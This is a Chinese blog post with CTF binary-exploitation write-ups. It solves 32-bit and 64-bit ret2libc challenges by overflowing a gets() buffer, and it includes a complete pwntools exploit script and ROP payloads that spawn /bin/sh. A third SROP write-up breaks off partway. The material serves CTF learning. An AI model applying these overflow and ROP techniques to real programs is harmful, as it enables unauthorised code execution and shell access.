关于 DreamCat

主题名称:DreamCat | 版本:3.0.240224

主题开发:HanFengA7 | CornWorld

Designed by HanFengA7 Power by Typecho

Copyright © 2015-2024 by LychApe All rights reserved!

menu
refresh

PWN writeup三则.

作者: ciaoℒy

时间:

1. 32位有system()和/bin/sh

附件下载

先拖进Ghidra中静态分析, 主函数如下所示:

undefined4 main(void) {
  char local_20 [20];
  undefined *local_c;

  local_c = &stack0x00000004;
  puts("Maybe you need /bin/sh");
  gets(local_20);
  return 0;
}

符号表里看到有system函数, 地址0x08048340

image-20210926200019686

字符串搜索, 看到有"/bin/sh", 地址0x08048566 (0x08048557 + 15):

image-20210926195236716

命令cyclic 200生成测试溢出偏移量用的字符串, gdb ./ret2libc_x86开启动态调试, 输入测试字符串, 得到crash时的EIP的值为"haaa":

image-20210926195542564

命令cyclic -l haaa得到偏移量为28.

构造payload:

payload = b'\x90' * 28 + p32(0x08048340) + p32(0x90) + p32(0x08048566);
#payload = b'\x90' * 28 + p32(0x08048340) + p32(0x90) + b"/bin/bash"; #这是错误的

注意, 这里为system()准备参数的时候, 应该准备字符串"/bin/sh"的地址值(指针)而不是字符串本身.

另外, 对这里的system地址做一个解释说明:

call指令实际上让cpu做了三件事: 保存现场/ 加载下一条指令地址/ 跳转执行. 所以在布局内存的时候, 根据system函数地址的不同, 有两种做法:

  1. 使用call system的地址: 直接布局call_system_addr + bin_sh_addr即可;
  2. 使用jmp _system的地址: 需要布局push eip, 即: jump_system_addr + p32(stub) + bin_sh_addr

exp.py如下:

from pwn import *
p = process("./ret2libc2_x86");

offset = 28
jumpsys = 0x08048340
binsh = 0x08048566

# 这里的0x08048340调用的是jmp指令, 所以需要放置一个32位的任意数字用来占位
# 当然, 为了通用, 完全可以用binsh来占位, 这样无论是jmp还是call都可以通用了.

payload = b'\x90' * offset + p32(jumpsys) + p32(0x90) + p32(binsh);
# payload = b'\x90' * offset + p32(callsys) + p32(binsh ) + p32(binsh);
p.recvuntil(b"Maybe you need /bin/sh");
p.sendline(payload);
p.interactive();

2. 64位有system()和/bin/sh

附件下载

和32位的区别就在于64位的调用约定是用寄存器传参

依然是Ghidra静态分析, 先看看主函数:

undefined8 main(void) {
  char local_18 [16];
  puts("Maybe you need /bin/sh");
  gets(local_18);
  return 0;
}

直接在符号表里找到call system()的地址 0x00400480:

image-20210926201509044

这次用工具ROPgadget辅助查找地址, 不用Ghidra手动查找了.

查找字符串"/bin/sh"地址(0x0040069a):

ROPgadget --binary ./ret2libc2 --string '/bin/sh'
# 0x000000000040069a

查找指令pop rdi用于传参:

ROPgadget --binary ./ret2libc2 | grep 'pop rdi'
#0x0000000000400663 : pop rdi ; ret

计算偏移量(16+8=24):

image-20210926202115695

cyclic -n 8 100 #生成64位的fuzz(其实32位的也可以用, 效果一样)
cyclic -n 8 -l caaaaaaa # 用rbp计算, 需要再加8个字节
# 16
cyclic -n 8 -l daaaaaaa # 用rsp计算, 直接就是正确的
# 24

构造payload:

payload = b'\x90' * 24 + p64(0x00400663) + p64(0x0040069a) + p64(0x00400480);

srop

附件下载

参考资料: SROP_「二进制安全pwn基础」 - 网安 (wangan.com)

拖到Ghidra里, 程序代码简单的很啊:

undefined  [16] entry(void) {
  syscall();
  return ZEXT816(0x400) << 0x40;
}

汇编:

# entry         XREF[3]:     Entry Point (*) , 00400018 (*) ,    
XOR        RAX ,RAX     # rax赋值为0
MOV        EDX ,0x400   # edx表示读数据长度, 设置为0x400
MOV        RSI ,RSP     # rsi为buffer地址, 设置为栈顶
MOV        RDI ,RAX     # rdi为fd, 赋值为0表示标准输入
SYSCALL
RET

syscall, 此时就需要查系统调用的表了, 附件在此

rax为0, 系统调用接口如下所示:

no Name rax rdi rsi rdx rcx r8
0 read 0x00 unsigned int fd char *buf size_t count - -

Linux手册中记录的该函数的作用: read(2) - Linux manual page (man7.org)

RETURN VALUE

On success, the number of bytes read is returned (zero indicates end of file), and the file position is advanced by this number.

On error, -1 is returned, and errno is set to indicate the error. In this case, it is left unspecified whether the file position (if any) changes.

关于fd, 如File descriptor - Wikipedia中所述, fd0表示"标准输入"

x64调用约定中, 返回值由寄存器rax存储. 因此通过控制输入长度可以控制寄存器rax的值.

虽然这个程序很短小, 但是它给与了我们操作栈/控制寄存器的能力, 而且存在显式的系统调用代码. 因此, 完全可以构造ROP利用链来实现溢出攻击.

偏移量计算为0. ROPgadget命令查找不到可利用的字符串, 因此需要设法向内存中写入字符串"/bin/bash". 此外, 同样不存在直接向寄存器中赋值的指令, 只有指令syscall可以利用.

image-20210926212106693

尝试将字符串写到栈上, 但在此之前需要知道栈的地址.

系统调用write可以用来将地址写出到标准输出, 正好程序中也存在指令mov rsi,rsp, 可以利用write写出栈顶地址. 恰巧执行系统调用时raxrdi两个寄存器的值保持同步, 而rax1时表示write/ rdi1时表示"标准输出"(怎么会这么巧呢?😏)

no Name rax rdi rsi rdx rcx r8
1 write 0x01 unsigned int fd char *buf size_t count - -

DESCRIPTION write() writes up to count bytes from the buffer starting at buf to the file referred to by the file descriptor fd.


#本文链接:https://blog.chaol.top/archives/74.html
#本文采用 CC BY-NC-SA 4.0 协议进行许可
#如无特别声明,该文章均为 ciaoℒy 原创,转载请遵循 署名-非商业性使用 4.0 国际(CC BY-NC 4.0)协议,即转载请注明文章来源。
#最后编辑时间为: 2023 年 09 月 06 日
PWN
none

create 添加新评论


account_circle
email
language
textsms



加我的QQ
加我的微博
加我的支付宝
加我的微信